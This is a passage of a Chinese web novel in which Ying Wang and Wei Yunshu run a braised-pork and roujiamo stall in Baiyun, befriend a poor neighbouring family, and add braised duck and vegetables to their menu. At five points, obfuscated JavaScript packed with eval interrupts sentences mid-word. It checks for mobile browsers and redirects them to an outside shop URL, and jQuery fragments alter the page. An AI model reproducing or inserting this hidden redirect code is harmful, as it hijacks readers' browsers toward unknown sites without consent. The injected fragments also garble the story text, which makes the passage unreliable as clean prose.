魏云舒明白过来应望是发现他睡得不止一个小时了，笑了笑，才说：“看你睡得熟，就没忍心喊你。” 应望说：“中午随便睡睡就够了，不然晚上睡不着。” 魏云舒想反驳，但想想又没那么说，只道：“没事，等把骨头剔了浸泡上，我再去睡也行。” 应望赞同，“你是该补一觉。” 两人边说着话边干活，没一会儿就将骨肉分离。 卤肉不单单要煮熟，更重要的是要入味，所以这浸泡是必不可少的步骤。到时候灶里有炭火余热，只需要将卤的蛋肉放进卤汤里，盖上锅盖就不用多管了。 等魏云舒处理好肉、盖上锅盖，应望就催着他去睡觉。 魏云舒见余下也没多少事，也就没再多说，回屋睡了。 这边，应望将剔下来的光骨头拿去扔了，回来又将厨房先简单收拾番，然后开始往板车上装东西——等出发前再将云舒喊醒，他们就能直接出门了。 正忙着，应望又发现刘芳躲在屋里偷偷看他。每当他回头的时候，对方就要“嗖”的一下将脑袋缩回去，掩耳盗铃，假装没被发现。 应望觉得这小姑娘真有意思，明明想看他，却又害羞的不敢。 想着，应望放下手里的东西，抬步朝这房子的正屋走了过去。 正偷偷嗅着空气中的肉香、对陌生大哥哥很好奇的刘芳脑子里正计算着依照对方走路的速度这会儿应该已经进厨房了，看不到她，那她能探头了。如此，刘芳又想跟之前一样探头，结果直接跟站在门口的人来了个脸对脸。 刘芳吓的尖叫一声。 他不是进厨房了吗？怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477488|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么在这？！ 偷看被发现，刘芳心里发窘，转身就想跑，然后就听见对方喊，“刘芳。” 刘芳脚下定住，慌慌张张的“啊”了声。 应望好奇的问：“我很可怕？” 刘芳使劲摇摇头。 应望纳闷，“那你怎么偷偷看我，被我发现后还转身就跑？” 刘芳被问的脸都红了，声若蚊蝇的说了句：“没……” 应望脸上带笑，“那我们聊聊？” 刘芳局促的问：“聊什么？” 应望问：“你是白云市人？” 刘芳点头，“是啊。” 应望说：“那你肯定对白云市很熟吧？” 说起自己熟悉的东西，刘芳没那么紧张了，“这周围我都知道。” “真厉害。”应望夸了句，“我刚来这里，很多地方都不知道，之前还差点走错路呢。” 刘芳惊奇，“在哪里啊？” 应望拎了条长凳放屋檐下，自己先坐下，然后又招手示意刘芳过来一块坐，嘴上还说：“白云师专那边，当时我从巷子里出来，差点走反了。要是真往那边走，那我估计都回不了这里，人都要转晕了。” 刘芳被应望这个语气逗笑了，“多走几遍就知道了。” “没错。”应望说：“那是我第一次走那条路，不熟悉。” 刘芳感同身受的说：“我以前也会走错路，要不是哥哥来找我，我都回不来。” 应望笑，“原来我们都有这种经历啊。” 刘芳也觉得很神奇，她不懂什么叫做“同病相怜”，只是觉得他们都走错过路、经历一样，只觉得那种不熟悉的陌生感一下就消失了，也愿意多说。 于是，通过之后的聊天，应望知道了刘芳的父母在她很小的时候就去世了，他们一直是跟奶奶生活。只是张奶奶年纪大了，很难找到什么工作，只能接点零散的活，然后卖点菜，勉勉强强维持生计。也正是因为家里穷，所以刘青刘芳兄妹俩也上不起学。 “我要快点长大挣钱。”刘芳说。 应望想说你现在最该做的是读书，等社会发展起来了，没有学历更是寸步难行。 可应望说不出口，因为义务教育还没普及，那点微薄的收入又怎么送得起孩子读书？ “会有那么一天的。” “嗯！” 12. 第 12 章 “你们不做早上的生意？” 正在帮着称卤肉的应望被顾客这个问题问的一愣，反应过来才回答说：“早上我们在别的地方卖，就没来。” 陶敏慧立刻问：“在哪卖？” 陶敏慧自从昨天下午买了卤肉回去试过后，今天一早上都对卤肉念念不忘，早上上班也没太多心情，就期盼着赶紧下班了去买卤肉、然后回家美美的吃一顿。结果万万没想到，她钱都准备好了，卖卤肉的摊子却不在！ 陶敏慧别提多郁闷了，中午糊弄着煮了个面条，然后一下午都没什么精神。等好不容易挨到下班，她更是毫不犹豫的离厂就跑，闻着味儿找到了摊位。 “在南幼南小那边。”应望说：“不过卖的是肉夹馍，不是卤猪头肉。” 陶敏慧听到不是卖卤肉就有些失望，可还是问：“肉夹馍是什么？” 应望就说：“是一种北方的吃食，里面放了肉、青椒这些，还可以加卤蛋。” 陶敏慧想象不来，不过既然有肉有蛋，那味道肯定不差，“你们中午几点开始卖？” 应望说：“差不多到学生放学的时候。” 陶敏慧说：“那我明天过去看看。” 应望笑，“欢迎。” 两人也没偷摸着聊天，所以摊子周围的人都听到了，他们默默记在心里，想着改天也去看看。 “今天有卤蛋，五毛钱一个，要吗？”应望问陶敏慧。 跟卤肉装一起的东西，味道肯定不会差了，陶敏慧想了想，“给我装两个。” 应望用塑料袋单独给她装了两个。 肉切好，两个袋子一起，一手交钱一手交货。 陶敏慧拿着东西就走了，迫不及待的赶回家想凉拌了吃。 “今儿有卤蛋？”她走了，才有人又出声询问。 “对。”应望介绍说：“鸡蛋和猪头肉一起卤的，喜欢卤猪头肉味儿的千万不要错过。” 有人问：“不买猪头肉能买吗？” “当然可以。”只要是摊子上的东西，只要卖出去就能赚，多点少点他都无所谓，“您要多少？” 那人是新顾客，“卤蛋来一个，肉来半斤，肉给我切肥的。” 应望从陶罐里夹出一块肥肉来，“这块成吗？” 顾客一看满意，“成！” 应望就叫魏云舒切。 说起来，他们这卤肉生意虽然昨天才刚开始，但今天已经有回头客了。就比如现在摊子前的人，有些是被卤肉香味吸引过来的新顾客，有些则是面熟的回头客，尤其是回头客，买的都不少。 新顾客中难免有害怕踩雷的，他们一听回头客说卤味不错、且看他们实际真买了不少，也纷纷花钱称了些。 于是很快，这锅卤肉卤蛋都卖完了，甚至还有人没买到。 “怎么卖的这么快？” “我今天下班有点事情耽搁了，卤肉还有吗？” “没了？怎么不多做点。” “一个猪头根本不够卖，罐头厂这么多人，你们下回多准备点，肯定能卖完。” “……” 大家七嘴八舌的说着，应望自然是好声好气的应。不过心里却想着这摊才摆了两天，大家都是被香味勾来的，图个新鲜，扩大生意还是得再看看。 这一看就看了三天。 托地理位置的福，这个小摊百分之九十五的顾客都是罐头厂里的工人，有爱说的人一聊，那周围人少不得得听个热闹，传的多了，大家就发现夸那个卤肉摊的人还不少，尤其买来吃过的人，那可没一个说不好的！ 于是很快，卤猪头肉就在罐头厂里面火了。 他们都是工人，隔三差五买点肉来吃是不成问题的。既然大家都在夸这个卤猪头肉如何如何好吃，那肯定得买来尝尝！ 于是，应望和魏云舒的卤肉摊子每天一开张，不到十分钟东西就卖完了。 且好多人还买不上！ 抱怨的有，催促的有，恨自己脚慢、恨老板准备的东西太少，总之两个字——加量！ 而应望也在思量。 按照目前每天早上十五个肉夹馍、下午一个猪头肉，外加三斤鸡蛋的量来算，刨除成本，他们现在每天能挣二十三块左右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477489|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在目前干工地只有四块钱日薪的对比下，他们这个工资真的不算低了！ 应望虽然高兴，但他没被这点利润冲昏头脑。目前他们的家当很少，昨天才买了被褥，添置了些牙刷牙缸水杯毛巾之类的生活用品，加上每人两套衣服，挣的钱就用了不少出去。何况他跟魏云舒之前说好了，白云市不是他们的久留之地，等小树村那边的事情有消息，他们就要离开这里。 既然要搬离，那到时候肯定需要路费，到了新的地方需要租房安顿，因为他还想接着做生意，那最好是能有个店面……而这些，通通都需要钱。 这么一算，真需要不少钱！ 于是，应望和魏云舒商量了下，觉得可以再多卖点东西。 那么问题来了，厨房里的大锅每天只能炖一个猪头，如果多炖一个肯定没地方做。 怎么办呢？ “要么早上一个人出摊去卖肉夹馍、另一个人留在家里炖猪头肉，要么添点别的，只要把骨头剔了，锅里就还能加不少菜。”魏云舒提议着说。 “炖两个肯定不行，中午张奶奶他们还得做饭吃，我们不能一直占着锅。”应望说：“何况卖肉夹馍的那点时间也炖不熟一个猪头。” 魏云舒：“那就添别的菜。” 应望：“素菜？” 魏云舒问：“时间短点能行吗？” “能行。”应望说：“素菜好熟，跟猪头肉一块多浸泡入味就可以。” 魏云舒一锤定音，“那就加素菜！” 应望有些犹豫，“这个年代的人跟后世不一样，大家现在肚子里缺油水，素菜怕是不好卖。” “如果味道好，肯定有人愿意买，毕竟白云市不少人都是买菜吃。”魏云舒见应望担心，又说：“先试试，实在不行再换猪头肉，大不了就是我们买个大锅回来另起个灶。” 他这么一说，应望就没那么担心了。 没错，卖不出去大不了他们自己吃，生意上就换别的点子，办法总比困难多。 聊到这，两人就商量起新增的菜品来，尽量让顾客觉得满意不亏。 13. 第 13 章 城南这边有菜市场，也有供销社，应望和魏云舒逛遍周边，终于找到了几样还不错的卤菜原料。 大清早的，两人带着大包小包的东西进院子。 张奶奶起的早，挎着篮子正要出门的时候就见他们带着这么多东西回来，“买了这么多东西啊？” 应望笑着应，“是啊，张奶奶出去？” “是。”张奶奶说：“有人想吃嫩茄子，我打了几个给他送过去。” 应望：“那您慢点。” 张奶奶笑呵呵的应了。 等她走远，两人带着东西到客厅。 “我先去把肉炖上。”应望边甩甩酸软的手边拎起那块肉。 “我去和面。”魏云舒放好鸡蛋，“之后把鸡蛋煮上。” 应望：“好。” 早上时间耽搁不得，两人麻溜的去干活。 很快，油脂的香气从厨房弥漫至整座小院，看色泽差不多时添水，之后盖上锅盖焖煮。 往常到了这个时候人就可以歇歇了，但今天不行。早上刚买了那么多东西，现在得抓紧时间去把一些东西处理好。 那堆东西不少，有豆干、油豆腐、腐竹和木耳，其中腐竹木耳是干的。还有干海带，海带这个东西本地没有，都是从沿海城市运来的，算是个比较稀罕的东西，应该会比其它常规的东西好卖些。除此之外，还有莲藕和花生。整体种类不算多，就是先试个水。 应望找了个容器，然后先将干海带和木耳泡起来，这样等到中午卖完肉夹馍回来，就能着手清洗了。 “云舒，一会儿鸡蛋煮熟了我煎个土豆饼吧？”打完最后一桶水，应望出声问。 “行。”魏云舒从火盆前站起身，“我去削皮。” 应望说：“那我来切丝。” 鸡蛋煮起来很快，不到二十分钟就能熟。到时候将鸡蛋捞出来，小锅就空了，做个土豆饼完全可以。 土豆切丝放进盆里，因为两人饭量大，所以切了不少土豆丝。打上四个鸡蛋，切点葱花，再加面粉和少许淀粉，放盐、花椒面等调味料，最后用筷子不断的搅拌至粘稠状态，放在刷了油的锅里煎就成。 土豆饼的香味不及厨房大锅里的炖肉香，但也别有一番滋味。 应望用碗将煎好的土豆饼装起来，手底下又继续煎，嘴里喊，“云舒，吃饭了！” “来了。”将垃圾清扫掉的魏云舒甩着手上的水过来。 应望将碗递给他，“尝尝看，好不好吃。” 土豆饼巴掌大，煎的两面金黄。魏云舒用筷子夹了一个，咬一口外皮酥脆焦香，里面却是土豆软糯的口感，调味放的恰到好处，搭配着葱花的香，非常好吃。 “不错！”魏云舒不吝夸赞。 应望脸上笑容更盛，“我试试。” 他也拿起筷子夹饼吃，因为刚出锅，稍微还有些烫，但吃起来正如魏云舒所说，非常不错。 “没白忙活。”应望亮着眼睛说。 魏云舒：“是没白忙活。” 应望前世能吃的东西不多，哪怕自己做的菜也没怎么吃，基本都是入了家里保姆的肚子。现在能换个新吃食，他的心情就非常好。 见刘青刘芳兄妹起床出来打水洗漱，还招手喊，“刘青刘芳，过来吃早餐。” 刘芳猛嗅一口香味。 刘青也咽了咽口水，但他还是拒绝了，“谢谢应哥，但我们不饿。” “不饿也能吃。”在这住了几天，加上和刘芳时不时的聊天，应望已经了解了他们祖孙三人的性格，因此知道刘青是不想占人便宜，并不是因为不饿不想吃，“我们还有不少没煎呢，也吃不完，快来。” 刘青说：“我们真的不饿。” “真不吃啊？”应望语气遗憾，“那真是太可惜了，等会儿这些东西吃不完就得扔了，不然没盆装着肉出摊。” 刘青瞬间皱眉，怎么能浪费食物呢！ 应望继续说，“幸好就是土豆做的，也不是什么太贵的东西，不然我心要滴血。” 这演的，叫魏云舒忍不住多看了他好几眼。 以前真没看出来啊…… 而刘青则是想说什么，却又顾忌着没说，脸都憋红了。 刘芳满脸焦急，“应哥哥，你怎么能把食物扔了呢！” “今早不小心做多了。”应望解释，“等会儿我们要出去卖肉夹馍，这盆得用来装肉，所以必须把盆腾出来。” 刘芳本就年纪小，应望这一番唱念做打下来哪里还分得清真话假话，“那也不能扔了呀！” 应望没说什么“是啊，可惜你们吃饱了”的让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477490|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尴尬的废话，而是直接提议，“不然你们帮着吃点？” 往几年家家户户日子都不好过，哪怕是工人家庭也都缺这个少那个，张奶奶生性要强也要脸面，做不出白吃人家东西的事来。在教育孩子的时候也是说不能白吃白拿人家的东西，人家抹不开脸面要给也要拒绝。刘芳是张奶奶养大的，自然记着张奶奶说的话，所以此时就很犹豫，“这……” 应望看着她的神情，又补了句，“你们要是不吃，就真的要扔掉了。” 锅底下的火不大，东西已经放下去，慢慢煎的焦黄，看起来美味诱人。 刘芳昨晚上就喝了一碗杂粮粥，一个晚上过去早就消化了，加上空气中炖肉香味的勾/引以及锅里金黄的土豆饼诱惑，哪里还能忍得住，“那我吃一个，可以吗？” 应望：“可以啊。” 说着，他将锅里已经煎好的饼放进碗里，正好俩。他朝刘芳招招手，刘芳过来，应望将碗递过去，“和哥哥一人一个，刚出锅，有点烫，去厨房拿筷子夹着吃。” 一靠近，用油煎出来的香味就直蹿进鼻腔，刘芳已经要被香迷糊了，手不自觉的接过了碗，“谢谢应哥哥。” 应望：“知道筷子在哪儿吧？” 刘芳：“知道！” 应望：“那快去吧。” 刘芳应了声就朝厨房走。 期间刘青想拦住刘芳再拒绝，可看见刘芳发亮的双眼与那满脸的渴望又生生将话咽了回去，一声不吭的跟着进了厨房。 这边，应望继续煎土豆饼。 魏云舒小声问：“今天怎么想起来叫他们吃东西了？” “正好碰上，再加上他们渴望的双眼，就想喊他们吃点。”应望说。 魏云舒点点头。 木柴燃烧，土豆饼的香味不停的往外冒。闻着这股味，应望就想起了曾经的自己。 那个时候他根本吃不饱，每天还有干不完的活，如果他哪里做的不好、或者许家人故意找茬，他那天就会没有饭吃，胃里饿的火烧火燎，看到别人吃点东西就馋的不断舔嘴巴咽口水。如果不是魏云舒，他都怀疑自己要被饿死。 所以当他现在看到又瘦又馋的刘青刘芳兄妹俩，就忍不住想给他们分一点吃的。 不过，云舒应该不知道自己是这种心态吧。 14. 第 14 章 和卤猪头肉一样，肉夹馍的生意也非常好。现在他们每天是卖十五个往上，因为和面的原因，有时候会多一两个、有时候会少一两个，数量也不固定。 比如今天，因为没拿肉夹馍当早餐，早上就卖了有十九个，且不到二十分钟就卖完了。 摊子上的东西清空，应望和魏云舒照例一个去菜市场买猪头、一个则拉着板车回家。 只是今天去买猪头的时候发生了意外。 “今天的猪头已经卖掉了。”肉摊老板这么说。 应望皱眉，“卖了？” “卖了。”见应望懵住，肉摊老板又含糊着解释了一句，“最近有人在卖什么卤猪头肉，不少人觉得味儿好，就想买猪头回去自己试试。” 应望：“……” 所以是我自己搬起石头砸了自己的脚？ “要不你买点别的？”肉摊老板又说。 应望见老板那同情的眼神，顿时明白过来老板对他做的生意是知情的，毕竟他天天来这买肉买猪头，就算再眼瞎也该记住他这张脸了。 说实话，对于有人抢生意或者出现别的状况应望已经有所准备，只是没想到来的这么快。 这才几天啊…… 应望叹气，视线在摊子上逡巡一圈，问：“猪蹄多少钱一斤？” 肉摊老板：“还是一块五。” 应望想了想说：“给我称两个，要前蹄。” “成。”肉摊老板应了声就站起身干活，“两斤六两，三块九。” 肉摊上剩的东西并不多了，应望看了那副大肠好几眼，最后还是没买。 卤肥肠其实也好吃，只是这东西处理起来麻烦，中午的时间又略有些紧，他思虑片刻还是没买，只付了猪蹄的钱。 不过临离开前应望问了句，“每天的猪头接受预定吗？” 老板问：“你想在我这订货？” 应望点头，“你想必也知道我做的什么生意，每天一个猪头近段时间肯定能卖完。这样一来我有了固定货物来源，你的猪头也不用每天费心思卖，对彼此都好，你觉得呢？” 老板陷入沉思。 事实上白云市不止他一个人在卖猪肉，相反，因为往些年肉缺的太多，现在放开做生意后不少人争先恐后的想来卖肉，因此肉贩不少。如果应望愿意，在他这个摊位买不到猪头，多走段路去别的地方肯定也能买到猪头。 也就是说，一旦应望找到别的进货渠道，那他这里的猪头就没那么好卖了。 所以，老板分析完利弊后，立刻就做了决定，“行！” 应望露出笑来。 今后的猪头来源搞定了，可今天光卖猪蹄肯定是不行的。 应望在菜市场里转了一圈，终于看到有人在卖活鸭。应望当即眼睛一亮，掏钱将鸭子买了下来。 鸭子的吃法有很多，烤鸭、啤酒鸭、烧鸭、卤鸭等等，吃法各式各样。他现在做卤肉生意，那卤鸭不是正好吗？ 应望愉快的带着东西回到家，魏云舒瞅见今天猪头换成了别的，立刻问：“怎么回事？” 应望略无奈的说：“最近我们卤猪头肉的生意太好，有人吃上了瘾，就自己买了猪头回家做，所以今天肉摊上的猪头没了。” 魏云舒惊讶，“这么快？” 应望苦笑，“是啊，就是这么快。” 两人相顾无言。 片刻后，魏云舒指着应望买的那些东西问：“那这些是……” 应望解释说：“我准备今天下午卤了拿去卖，正好也给顾客们换换口味。” 魏云舒心想，这哪里是给顾客换口味，这分明是要气的某些顾客跳脚。可没有原料，那也没有办法。 “正好我们本就定了要加些卤素菜，那现在换个肉卤也行。” “是啊，经常吃一种肯定也腻了。” 两人自我安慰，很快就打起了精神，然后杀鸭的杀鸭、燎毛的燎毛，之后先焯水，然后再下锅卤。 说起来，卤鸭卤猪蹄比卤猪头肉做起来还简单一些，省了中间煮熟剔骨那一道工序，东西下了锅就只需要看看火添添柴。 刚盖上锅盖，张奶奶就拿着几根黄瓜进了厨房，“小应，忙着呢？” “是啊。”应望问：“张奶奶，你吃了吗？” “吃过了。”张奶奶说：“后院的黄瓜结了，我摘了几个，你们拿去添个菜，谢谢你们早上给阿青和芳芳的土豆饼。” 应望惊住了，反应过来后忙说：“张奶奶，你太客气了，早上的土豆饼就是我们下手没个轻重做多了，所以才叫他们俩吃的，他们不嫌弃就好了……” 张奶奶脸上挂着笑，“你这话啊就哄哄阿青和芳芳，我哪儿能看不出来你们是看他们眼馋，所以叫他们吃的。” 应望觉得有点尴尬，“真没有……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477491|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我没有怪你们的意思，就是想谢谢你们。”张奶奶看出应望不自在，又解释说：“吃了你们的东西，总不能连句谢都没有。这黄瓜也是我自己种的，不值当什么钱，你们就当添个菜，也算是我们的心意。” 话都说到了这个份上，要是再不收那就是不识抬举，应望只能，“那谢谢您了。” 张奶奶说：“是我谢谢你们。” 她可是听阿青和芳芳说了，那所谓土豆饼并不仅仅是用土豆做的，里面还有白面和鸡蛋，还是用油煎出来的，吃起来满嘴留香，舌头都能吞下去。 鸡蛋、面、油…… 哪样不精贵？ 到底是他们占了便宜，叫许久没吃过好东西的阿青和芳芳解了馋。 张奶奶离开厨房后，应望又给灶里添了两根柴才朝外走，然后将这事跟魏云舒说了。 魏云舒倒也不意外，“张奶奶一看就是那种有骨气的，送点回礼也正常。” 应望想想也是。通常来说，观孩子的行事可窥见家长的品性，刘青和刘芳懂事，那教养他们的张奶奶不会差了。 见应望深思，魏云舒又说：“别想了，一个屋檐下，以后能帮就帮一把。” 应望回神，“你说的对。” 米才上蒸架，还得蒸上些时间才能熟，因此不着急做菜。正好早上泡的木耳海带这些都泡发了，现在正好洗了。 只是才开始呢，刘青和刘芳就来了，说是要给他们帮忙。 应望：“？” “不用，我们自己来，你们去忙你们自己的。”应望说。 刘青蹲下就开始帮着洗木耳，瓮声瓮气的说：“我们没什么要忙的。” 应望说：“那就去玩吧。” “不去。”刘青说：“吃了你们的东西，就该给你们干活。” 应望提醒，“张奶奶已经给过了。” 刘青只说：“不够。” 应望还想说什么，刘芳就说了，“应哥哥，土豆饼里面有蛋有油，可贵了，黄瓜比不上的，我们得帮你们干活才行。” 应望和魏云舒对视一眼，见阻拦不住，也就只能：“行吧，那你们注意别把衣服打湿了。” 刘芳嗯嗯应好。 刘青没吭声，低着头干活。 应望心说，这对兄妹俩这表现跟第一回见的时候完全不同嘛，那个时候刘芳才是害羞不敢抬头的那一个啊！ 15. 第 15 章 下午，应望和魏云舒准时出摊。 罐头厂附近的摊位并无人监管，因此每天来的时候就得看哪里有空置摆哪里。 住在附近的回头客们三三两两聚一块，说说笑笑好不热闹。正说着呢，就看见熟悉的人影来了，有瞧见的人喊了句，“来了！” 大家倏然转头，那反应快的已经追了过去，摊子都还未支好，人就占据了第一个位置。 后面的人懊恼，怎么就没跑过他呢！ “你们可算是来了。”排在第一的人眼睛落在大陶罐里，“给我称一斤卤猪头肉，要肥一点的。” 应望将装着卤素菜的盆端到木板上，闻声回答说：“不好意思，今天没有卤猪头肉，换菜品了。” 这人惊了，“没卤肉？！” 周围人皆惊，怎么回事？ 应望解释，“今天暂时没有卤猪头肉，但是有卤鸭、卤猪蹄和卤素菜，卤鸡蛋也还有。” 这人还未说话，排后头的就伸长了脖子，“有新品？什么样啊，瞧瞧。” 案板、刀具、塑料袋等东西依次放好，魏云舒干脆利落的打开盖子，卤料香味瞬间扑面而来。 顾客们只见到盆中鲜亮的卤汁里除了早就有卖的卤鸡蛋，还浸泡着之前没见过的海带片、莲藕片、木耳、豆干、油豆腐、腐竹等素菜，另有花生堆叠放在一只大碗里，热气盈盈，卤香浓郁。 应望紧接着打开陶罐，略伸头往里一看，就见两只色泽红亮的卤鸭盛放其中，香嫩又可口。 从里捞出来的卤猪蹄红亮诱人，皮肉颤巍，卤香中夹杂着一股轻微的糖香，只需一眼就让人禁不住的咽口水。 香，太香了！ 原本听说今天没有卤猪头肉卖还觉得失望难过的顾客这下眼睛都瞪大了，根本没料到少了一样卤猪头肉却能多了这么多选择！ 有肉有素，还有花生米下酒，这可真丰盛啊！ 排在第一的顾客哪里还顾得上失望，他赶忙抬手擦擦自己的嘴，怕不知情的时候流下口水，叫人看了笑话。 “没想到多了这么多东西。” 魏云舒话说的漂亮，“我们这生意多亏大家照顾，为了让更多人都能尝一尝卤味，所以又加了些东西，还请各位赏光。” 顾客们听的通体舒泰。 这伙子做生意，上道！ “嗐，甭说什么赏光不赏光，你们这东西做的好吃，我是恨不得把舌头都吞下去。”那顾客笑说：“以后也这样，每天多准备点，多卖几样，也省的我们回去还要动手做菜了。” 魏云舒说：“那感情好啊，就怕大家不来呢。” 周围人哈哈大笑。 应望也忍俊不禁，又听到有人问价钱，忙回复说：“卤素菜八毛钱一斤，卤猪蹄一个三块钱，卤鸭三块钱一斤，半只起卖。” 如今白云市活鸡活鸭市价是一块八，比五花肉便宜点，但也便宜不到哪里去。活鸭买了之后要杀要拔毛，煮熟之后还会掉秤，所以三块钱一斤根本不算贵，甚至有些顾客觉得这个价格都差不多是成本价了。 事实也差不多，这两只卤鸭，差不多也就三四块钱的利润。 ——跟猪头肉完全没法比。 排在首位的顾客原本还有些挑花眼，此刻一听卤鸭价格不贵，立刻就问：“跟卤猪头肉一个味儿吗？” 应望答：“除了本身鸭肉和猪肉的区别，卤料我用的都是差不多的种类。” 那人瞬间将心放回肚子里，只说：“给我半只卤鸭！” “要剁成块吗？” “要！” 剁成块之后拿回去直接装盘，家里人就都能吃上！ 魏云舒立刻拿起刀开剁。 手起刀落，半只卤鸭当即被分的明明白白，鸭腿鸭翅鸭腹连同一半的鸭脖整整齐齐的摆在案板上，看起来更可口了。 后面的人看的更眼热，眼见着今天总共只有两只鸭子，就算一人买半只也就够四个人分。唯恐买不着，忙不迭的就说：“给我半只！” 有人不干了，“诶，你这人咋这样，我先来的！” 说着，他转头就朝应望说：“给我半只。” 应望好脾气的笑笑，“熟客都知道我这里的规矩，先来后到，大家排队，排前面的先点。” 被插队的人赞同，“就是嘛。” 见周围人附和，妄图插队的那人不好意思了，“我这不是激动上头，不小心就脱口而出了嘛。反正我排第三，也轮得到我。” 应望将刚收的钱放进装钱的小盒里，“我这就给你砍半只。” 如此，那人哪儿还记得丢脸不丢脸的，满心满意都是从陶罐里捞出来的半只卤鸭，双眼放光的说：“鸭腿不用剁了，就给我弄一整只。” 那么大个鸭腿，啃起来肯定爽！ 负责剁鸭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477492|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的魏云舒应了声。 虽然还没尝过卤鸭的味道，但仅凭卤猪头肉的美味就知道卤鸭定然差不了，加上价格不贵，还不用跟活鸭似的自个儿买回去还得慢慢烧水杀鸭拔毛费柴火炖，这卤鸭就买得值！当然，最重要的是人家这个卤味自家做不出来！ 这么划算的买卖在此，前边四个顾客果然一人半只鸭给包圆了。 第五人眼巴巴的望着陶罐里，“真没给我留点啊。” “两只卤鸭卖完了，下回赶早。”应望见他失望，又推销说：“卤猪蹄、卤蛋还有卤素菜也都是从一个锅里出来的，味道并不差。” 那人眼睛在卤猪蹄上停留片刻，想了想，问：“猪蹄一个买了给剁吗？” 魏云舒回复：“可以剁。” 顾客心里头还在遗憾卤鸭没买到，嘴上却说：“那给我装一个猪蹄，就要你右手边那个。” 魏云舒捞出他挑的那个卤猪蹄便动手开剁。 虽然一个猪蹄看起来不如半只卤鸭大，可剁成块后也有不少，何况价钱算下来还比半只卤鸭便宜。 想到此处，顾客心里这才舒服了些，又说：“再给我称一斤卤素菜。” 这样拿回去就能满满当当的装一大钵了，节省一点今晚都不用做其他的菜。而且，有肉有菜，味道还不差！ 倒也划算。 应望在大碗上套上塑料带，手里拿着双筷子问：“要什么菜？” “多给我弄点海带片，莲藕也来点，其它几样也都夹点，凑够一斤。” 应望按照他点的夹，称好放下秤，系好袋子，连同剁好装好的卤猪蹄一块递过去，含笑说：“承蒙惠顾，总共三块八。” 顾客爽快掏钱。 果然是缺少油水的年代，顾客们都是先紧着肉买。根本不等罐头厂的工人下班，住附近的人就将两只卤鸭、两个猪蹄给买完了，卤素菜和卤鸡蛋也卖出去一些，留给罐头厂工人们的根本没多少。 于是，刚下班就着急忙慌朝外奔的工人们抵达摊位就听到两个噩耗——今天没有卤猪头肉卖！原本有的新品卤鸭卤猪蹄也卖完了！ 工人们：“！！！” 自己厂子门口卖东西，结果却抢不到，这像话吗？！ 见大家吵嚷起来，周围的摊贩们就很眼热，郁闷的想着：自己何时才能把生意做的跟人家那么好啊？！ 瞧，顾客想买还没卖的！ 16. 第 16 章 收摊回家，照例先算账。 今天卤素菜卖出去十四斤，八毛钱一斤就是十一块两毛钱，利润在一半左右，也就是五块六。 两个生猪蹄三块九买的，卤了之后一个卖三块钱，挣了两块。 两只卤鸭挣了三块多四块钱。 卤鸡蛋煮了二十个，也都卖出去了，纯利润五块钱。 以上都是将香料包含进去后大致估算的，再减去柴火、塑料袋等开销，今天挣的大概是十六块。 ——这收入跟之前卖卤猪头肉的时候差不多。 不过如果叫应望选，那他宁愿卖卤猪头肉。因为只有一个猪头，收拾干净上锅就差不多了。但今天又有鸭子又有各种素菜，处理起来就麻烦许多，基本没有时间休息。 